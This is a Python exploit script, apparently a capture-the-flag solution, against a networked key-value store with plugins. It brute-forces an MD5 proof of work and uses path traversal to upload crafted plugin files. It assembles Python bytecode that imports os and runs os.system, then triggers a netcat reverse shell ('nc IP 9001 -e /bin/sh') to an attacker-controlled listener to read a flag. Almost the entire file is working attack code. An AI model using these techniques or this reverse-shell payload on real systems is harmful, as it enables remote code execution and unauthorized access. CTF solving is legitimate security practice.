#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import binascii
from dis import opmap
from hashlib import md5
from pwn import *

# The victim's ip address
host = args.HOST or "localhost"
# The port of the service
port = int(args.PORT or 4444)
# The attacker's ip address
ip = args.IP or "172.17.0.1"
# The attacker's port to listen for the reverse shell
rev_port = 9001
# The service accepts keys of exactly this size
chunk_size = 12

# If the exploit runs agains the remote host, we have to solve a proof of work
if host != "localhost":
    pow_io = connect(host, port)
    pow_io.readuntil(b"challenge = ")
    challenge = binascii.unhexlify(pow_io.readuntil(b" ").strip().decode())
    pow_io.readuntil(b"x should be 10 bytes long :")
    # Brute-force a prefix which causes 6 leading zeros
    while True:
        prefix = bytes(random.choices(list(range(256)), k=10))
        test = prefix + challenge
        foo = md5(test).hexdigest()[:6]
        if foo == "000000":
            break
    pow_io.sendline(binascii.hexlify(prefix))
    pow_io.readuntil(b"port ")
    port = int(pow_io.readuntil(b".")[:-1])


def upload_file(filename, data=""):
    log.debug("Upload file %s with data %r", filename, data)
    io = connect(host, port)
    io.send(b"S")
    io.send(filename.encode() if type(filename) == str else filename)
    io.send(bytes([len(data)]))
    io.send(data.encode())
    io.sendline()
    io.readuntil("STORED")
    io.close()


def upload_plugin(file_char, data):
    log.debug("Upload plugin %s with data %r", file_char, data)
    io = connect(host, port)
    io.send(b"S")
    io.send(f"../plugins/{file_char}".encode())
    io.send(bytes([len(data)]))
    io.send(data)
    io.sendline()
    io.readuntil("STORED")
    io.close()


def store_disk():
    log.debug("Dump all entries to disk")
    io = connect(host, port)
    io.send(b"D")
    io.sendline()
    io.readuntil("DUMPED")
    io.close()


def run_plugin(filename):
    log.debug("Run plugin %s", filename)
    io = connect(host, port)
    io.send(b"P")
    filename += (chunk_size - len(filename)) * " "
    io.send(filename.encode())
    io.sendline()
    io.close()


def load_const(index=0x30):
    return bytes([opmap["LOAD_CONST"], index])


def get_plugin_code(func_index, filename_index, content_index):
    return (
        # pos 7 on the stack is the function
        load_const(func_index)
        # pos 3-6 are unused
        + load_const() * 4
        # pos 2 contains the filename
        + load_const(filename_index)
        # pos 1 contains the msg
        + load_const(content_index)
        # now trigger the "exception handler"
        + bytes([opmap["WITH_EXCEPT_START"], 0x30])
    )


# This is the index where we will later store the nc command
nc_index = ord("b")
co_names = ["len", "list", "print", "os", "system", "decode"]

exploit_asm = [
    # Get length of empty list to push 0 on the stack
    ("BUILD_LIST", 0),
    # Use NOP as arg to simplify compiler
    ("GET_LEN", 0x09),
    # Invoke print() to push None on the stack
    ("LOAD_NAME", co_names.index("print")),
    ("CALL_FUNCTION", 0),
    # Import os
    ("IMPORT_NAME", co_names.index("os")),
    # Invoke os.system()
    ("LOAD_METHOD", co_names.index("system")),
    # Decode first batch of nc command: 'nc 172.17.0.'
    ("LOAD_CONST", nc_index),
    ("LOAD_METHOD", co_names.index("decode")),
    ("CALL_METHOD", 0),
    # Decode second batch of nc command: '1 9001 -e /b'
    ("LOAD_CONST", nc_index + 1),
    ("LOAD_METHOD", co_names.index("decode")),
    ("CALL_METHOD", 0),
    # Decode third batch of nc command: 'in/sh'
    ("LOAD_CONST", nc_index + 2),
    ("LOAD_METHOD", co_names.index("decode")),
    ("CALL_METHOD", 0),
    # Concatenate the three strings
    ("BUILD_STRING", 3),
    # Finaly invoke the nc command
    ("CALL_METHOD", 1),
]

exploit_bytecode = b""
for op_name, arg in exploit_asm:
    exploit_bytecode += bytes([opmap[op_name], arg])

# Append co_names
exploit_bytecode += b";"
exploit_bytecode += b";".join(n.encode() for n in co_names)

# Check how many chunks we need to store the exploit in
num_chunks = len(exploit_bytecode) // chunk_size + 1

# Pad the exploit code to a multiple of 12
exploit_bytecode = exploit_bytecode.ljust(chunk_size * num_chunks, b";")

# The smallest index we can address
base_index = ord("0")

# Upload filling entries because we can't access them
log.info("Upload dummy entries")
for i in range(base_index):
    upload_file(str(i).zfill(chunk_size))

# Upload exploit chunks
log.info("Upload exploit chunks")
for i in range(0, len(exploit_bytecode), chunk_size):
    upload_file(exploit_bytecode[i : i + chunk_size])

# Determine the indexes of the function and filename
exploit_filename = ord("a")
plugin_log_index = exploit_filename + 4

# Upload plugins to assemble exploit
log.info("Upload plugins to assemble exploit chunks")
for i in range(num_chunks):
    upload_plugin(
        str(i), get_plugin_code(plugin_log_index, exploit_filename, base_index + i)
    )

# Store all plugins to disk now to prevent errors with invalid filenames
store_disk()

# Upload filling entries because we can't access them
log.info("Upload dummy entries")
for i in range(base_index + 2 * num_chunks, ord("a")):
    upload_file(str(i).zfill(chunk_size))

# Store filepath for later (index: ord(a)) - this entry cannot be stored to disk because the path is invalid
log.info("Upload additional constants")
upload_file("plugins/expl")

# Pad nc command to multiple of 12
commmand = f"nc {ip} {rev_port} -e /bin/sh".ljust(chunk_size * 3, " ")

# Store nc command for execution in constants (index: ord(b))
upload_file(commmand[:chunk_size])
upload_file(commmand[chunk_size : 2 * chunk_size])
upload_file(commmand[2 * chunk_size :])

# Upload plugins to assemble exploit
log.info("Run plugins to assemble exploit plugin")
for i in range(num_chunks):
    run_plugin(str(i))

# Listen for the reverse shell
reverse_shell = listen(rev_port)

# Run exploit code and spawn reverse shell
log.info("Run exploit plugin")
run_plugin("expl")

# Get the flag
reverse_shell.sendline(b"echo $flag")
flag = reverse_shell.readline()
log.success("Got the flag: %s", flag)
